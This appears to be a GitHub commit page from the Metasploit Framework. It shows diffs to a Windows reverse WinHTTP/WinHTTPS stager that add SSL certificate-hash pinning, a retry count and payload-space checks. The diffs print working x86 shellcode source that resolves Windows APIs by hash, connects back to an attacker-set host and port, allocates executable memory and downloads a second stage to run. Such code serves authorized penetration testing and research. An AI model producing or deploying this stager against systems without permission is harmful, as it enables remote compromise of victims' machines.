Skip to content

Commit 47a7f99

Browse files
author
Brent Cook
committed
Land rapid7#4930, @hmoore-r7 winhttp stager certificate check
2 parents d1d6378 + 5fd3637 commit 47a7f99

File tree

4 files changed

+257
-64
lines changed

4 files changed

+257
-64
lines changed

lib/msf/core/payload/windows/reverse_winhttp.rb

Lines changed: 134 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -36,15 +36,17 @@ def generate
3636
ssl: false,
3737
host: datastore['LHOST'],
3838
port: datastore['LPORT'],
39-
url: generate_small_uri)
39+
url: generate_small_uri,
40+
retry_count: datastore['StagerRetryCount'])
4041
end
4142

4243
conf = {
4344
ssl: false,
4445
host: datastore['LHOST'],
4546
port: datastore['LPORT'],
4647
url: generate_uri,
47-
exitfunk: datastore['EXITFUNC']
48+
exitfunk: datastore['EXITFUNC'],
49+
retry_count: datastore['StagerRetryCount']
4850
}
4951

5052
generate_reverse_winhttp(conf)
@@ -98,23 +100,32 @@ def asm_generate_wchar_array(str)
98100
join(",")
99101
end
100102

103+
104+
#
105+
# Generate an assembly stub with the configured feature set and options.
101106
#
102-
# Dynamic payload generation
107+
# @option opts [Bool] :ssl Whether or not to enable SSL
108+
# @option opts [String] :url The URI to request during staging
109+
# @option opts [String] :host The host to connect to
110+
# @option opts [Fixnum] :port The port to connect to
111+
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
112+
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
113+
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
114+
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
103115
#
104116
def asm_reverse_winhttp(opts={})
105117

118+
retry_count = [opts[:retry_count].to_i, 1].max
119+
verify_ssl = nil
120+
encoded_cert_hash = nil
121+
encoded_url = asm_generate_wchar_array(opts[:url])
122+
encoded_host = asm_generate_wchar_array(opts[:host])
106123

107-
#
108-
# options should contain:
109-
# ssl: (true|false)
110-
# url: "/url_to_request"
111-
# host: [hostname]
112-
# port: [port]
113-
# exitfunk: [process|thread|seh|sleep]
114-
#
124+
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
125+
verify_ssl = true
126+
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
127+
end
115128

116-
encoded_url = asm_generate_wchar_array(opts[:url])
117-
encoded_host = asm_generate_wchar_array(opts[:host])
118129

119130
http_open_flags = 0
120131

@@ -137,46 +148,52 @@ def asm_reverse_winhttp(opts={})
137148
push esp ; Push a pointer to the "winhttp" string
138149
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
139150
call ebp ; LoadLibraryA( "winhttp" )
151+
^
140152

141-
set_retry:
142-
push.i8 6 ; retry 6 times
143-
pop edi
144-
xor ebx, ebx
145-
mov ecx, edi
153+
if verify_ssl
154+
asm << %Q^
155+
load_crypt32:
156+
push 0x00323374 ; Push the string 'crypt32',0
157+
push 0x70797263 ; ...
158+
push esp ; Push a pointer to the "crypt32" string
159+
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
160+
call ebp ; LoadLibraryA( "wincrypt" )
161+
^
162+
end
163+
164+
asm << %Q^
146165
147-
push_zeros:
148-
push ebx ; NULL values for the WinHttpOpen API parameters
149-
loop push_zeros
166+
xor ebx, ebx
150167
151168
WinHttpOpen:
152-
; Flags [5]
153-
; ProxyBypass (NULL) [4]
154-
; ProxyName (NULL) [3]
155-
; AccessType (DEFAULT_PROXY= 0) [2]
156-
; UserAgent (NULL) [1]
169+
push ebx ; Flags
170+
push ebx ; ProxyBypass (NULL)
171+
push ebx ; ProxyName (NULL)
172+
push ebx ; AccessType (DEFAULT_PROXY= 0)
173+
push ebx ; UserAgent (NULL) [1]
157174
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
158175
call ebp
159176
160177
WinHttpConnect:
161-
push ebx ; Reserved (NULL) [4]
178+
push ebx ; Reserved (NULL)
162179
push #{opts[:port]} ; Port [3]
163180
call got_server_uri ; Double call to get pointer for both server_uri and
164-
server_uri: ; server_host; server_uri is saved in EDI for later
181+
server_uri: ; server_host; server_uri is saved in edi for later
165182
db #{encoded_url}
166183
got_server_host:
167-
push eax ; Session handle returned by WinHttpOpen [1]
184+
push eax ; Session handle returned by WinHttpOpen
168185
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
169186
call ebp
170187
171188
WinHttpOpenRequest:
172189
173-
push.i32 #{"0x%.8x" % http_open_flags}
174-
push ebx ; AcceptTypes (NULL) [6]
175-
push ebx ; Referrer (NULL) [5]
176-
push ebx ; Version (NULL) [4]
177-
push edi ; ObjectName (URI) [3]
178-
push ebx ; Verb (GET method) (NULL) [2]
179-
push eax ; Connect handler returned by WinHttpConnect [1]
190+
push #{"0x%.8x" % http_open_flags}
191+
push ebx ; AcceptTypes (NULL)
192+
push ebx ; Referrer (NULL)
193+
push ebx ; Version (NULL)
194+
push edi ; ObjectName (URI)
195+
push ebx ; Verb (GET method) (NULL)
196+
push eax ; Connect handle returned by WinHttpConnect
180197
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
181198
call ebp
182199
xchg esi, eax ; save HttpRequest handler in esi
@@ -192,16 +209,21 @@ def asm_reverse_winhttp(opts={})
192209
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
193210
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
194211
mov eax, esp
195-
push.i8 4 ; sizeof(buffer)
212+
push 4 ; sizeof(buffer)
196213
push eax ; &buffer
197-
push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
214+
push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
198215
push esi ; hHttpRequest
199216
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
200217
call ebp
201218
^
202219
end
203220

204221
asm << %Q^
222+
; Store our retry counter in the edi register
223+
set_retry:
224+
push #{retry_count}
225+
pop edi
226+
205227
send_request:
206228
207229
WinHttpSendRequest:
@@ -215,7 +237,7 @@ def asm_reverse_winhttp(opts={})
215237
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
216238
call ebp
217239
test eax,eax
218-
jnz receive_response ; if TRUE call WinHttpReceiveResponse API
240+
jnz check_response ; if TRUE call WinHttpReceiveResponse API
219241
220242
try_it_again:
221243
dec edi
@@ -237,12 +259,79 @@ def asm_reverse_winhttp(opts={})
237259
^
238260
end
239261

262+
# Jump target if the request was sent successfully
263+
asm << %Q^
264+
check_response:
265+
^
266+
267+
# Verify the SSL certificate hash
268+
if verify_ssl
269+
270+
asm << %Q^
271+
ssl_cert_get_context:
272+
push 4
273+
mov ecx, esp ; Allocate &bufferLength
274+
push 0
275+
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
276+
277+
push ecx ; &bufferLength
278+
push ebx ; &buffer
279+
push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
280+
push esi ; hHttpRequest
281+
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
282+
call ebp
283+
test eax, eax ;
284+
jz failure ; Bail out if we couldn't get the certificate context
285+
286+
; ebx
287+
ssl_cert_allocate_hash_space:
288+
push 20 ;
289+
mov ecx, esp ; Store a reference to the address of 20
290+
sub esp,[ecx] ; Allocate 20 bytes for the hash output
291+
mov edi, esp ; edi will point to our buffer
292+
293+
ssl_cert_get_server_hash:
294+
push ecx ; &bufferLength
295+
push edi ; &buffer (20-byte SHA1 hash)
296+
push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
297+
push [ebx] ; *pCert
298+
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
299+
call ebp
300+
test eax, eax ;
301+
jz failure ; Bail out if we couldn't get the certificate context
302+
303+
ssl_cert_start_verify:
304+
call ssl_cert_compare_hashes
305+
db #{encoded_cert_hash}
306+
307+
ssl_cert_compare_hashes:
308+
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
309+
; edi points to the server-provided certificate hash
310+
311+
push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
312+
pop ecx ;
313+
mov edx, ecx ; Keep a reference to 4 in edx
314+
315+
ssl_cert_verify_compare_loop:
316+
mov eax, [ebx] ; Grab the next DWORD of the hash
317+
cmp eax, [edi] ; Compare with the server hash
318+
jnz failure ; Bail out if the DWORD doesn't match
319+
add ebx, edx ; Increment internal hash pointer by 4
320+
add edi, edx ; Increment server hash pointer by 4
321+
loop ssl_cert_verify_compare_loop
322+
323+
; Our certificate hash was valid, hurray!
324+
ssl_cert_verify_cleanup:
325+
xor ebx, ebx ; Reset ebx back to zero
326+
^
327+
end
328+
240329
asm << %Q^
241330
receive_response:
242331
; The API WinHttpReceiveResponse needs to be called
243-
; first to get a valid handler for WinHttpReadData
244-
push ebx ; Reserved (NULL) [2]
245-
push esi ; Request handler returned by WinHttpSendRequest [1]
332+
; first to get a valid handle for WinHttpReadData
333+
push ebx ; Reserved (NULL)
334+
push esi ; Request handler returned by WinHttpSendRequest
246335
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
247336
call ebp
248337
test eax,eax
@@ -251,7 +340,7 @@ def asm_reverse_winhttp(opts={})
251340

252341
asm << %Q^
253342
allocate_memory:
254-
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
343+
push 0x40 ; PAGE_EXECUTE_READWRITE
255344
push 0x1000 ; MEM_COMMIT
256345
push 0x00400000 ; Stage allocation (4Mb ought to do us)
257346
push ebx ; NULL as we dont care where the allocation is
@@ -299,6 +388,8 @@ def asm_reverse_winhttp(opts={})
299388
asm
300389
end
301390

391+
392+
302393
end
303394

304395
end

lib/msf/core/payload/windows/reverse_winhttps.rb

Lines changed: 59 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
require 'msf/core'
44
require 'msf/core/payload/windows/reverse_winhttp'
5+
require 'rex/parser/x509_certificate'
56

67
module Msf
78

@@ -17,6 +18,17 @@ module Payload::Windows::ReverseWinHttps
1718

1819
include Msf::Payload::Windows::ReverseWinHttp
1920

21+
#
22+
# Register reverse_winhttps specific options
23+
#
24+
def initialize(*args)
25+
super
26+
register_advanced_options(
27+
[
28+
OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false])
29+
], self.class)
30+
end
31+
2032
#
2133
# Generate and compile the stager
2234
#
@@ -37,26 +49,71 @@ def generate_reverse_winhttps(opts={})
3749
#
3850
def generate
3951

52+
verify_cert = false
53+
verify_cert_hash = nil
54+
55+
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
56+
unless datastore['HandlerSSLCert']
57+
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
58+
else
59+
verify_cert = true
60+
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
61+
unless hcert and hcert[0] and hcert[1]
62+
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
63+
end
64+
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
65+
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
66+
end
67+
end
68+
4069
# Generate the simple version of this stager if we don't have enough space
4170
if self.available_space.nil? || required_space > self.available_space
71+
72+
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
73+
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
74+
end
75+
4276
return generate_reverse_winhttps(
4377
ssl: true,
4478
host: datastore['LHOST'],
4579
port: datastore['LPORT'],
46-
url: generate_small_uri)
80+
url: generate_small_uri,
81+
verify_cert: verify_cert,
82+
verify_cert_hash: verify_cert_hash,
83+
retry_count: datastore['StagerRetryCount'])
4784
end
4885

4986
conf = {
5087
ssl: true,
5188
host: datastore['LHOST'],
5289
port: datastore['LPORT'],
5390
url: generate_uri,
54-
exitfunk: datastore['EXITFUNC']
91+
exitfunk: datastore['EXITFUNC'],
92+
verify_cert: verify_cert,
93+
verify_cert_hash: verify_cert_hash,
94+
retry_count: datastore['StagerRetryCount']
5595
}
5696

5797
generate_reverse_winhttps(conf)
5898
end
5999

100+
#
101+
# Determine the maximum amount of space required for the features requested
102+
#
103+
def required_space
104+
space = super
105+
106+
# SSL support adds 20 bytes
107+
space += 20
108+
109+
# SSL verification adds 120 bytes
110+
if datastore['StagerVerifySSLCert']
111+
space += 120
112+
end
113+
114+
space
115+
end
116+
60117
end
61118

62119
end

0 commit comments

Comments
 (0)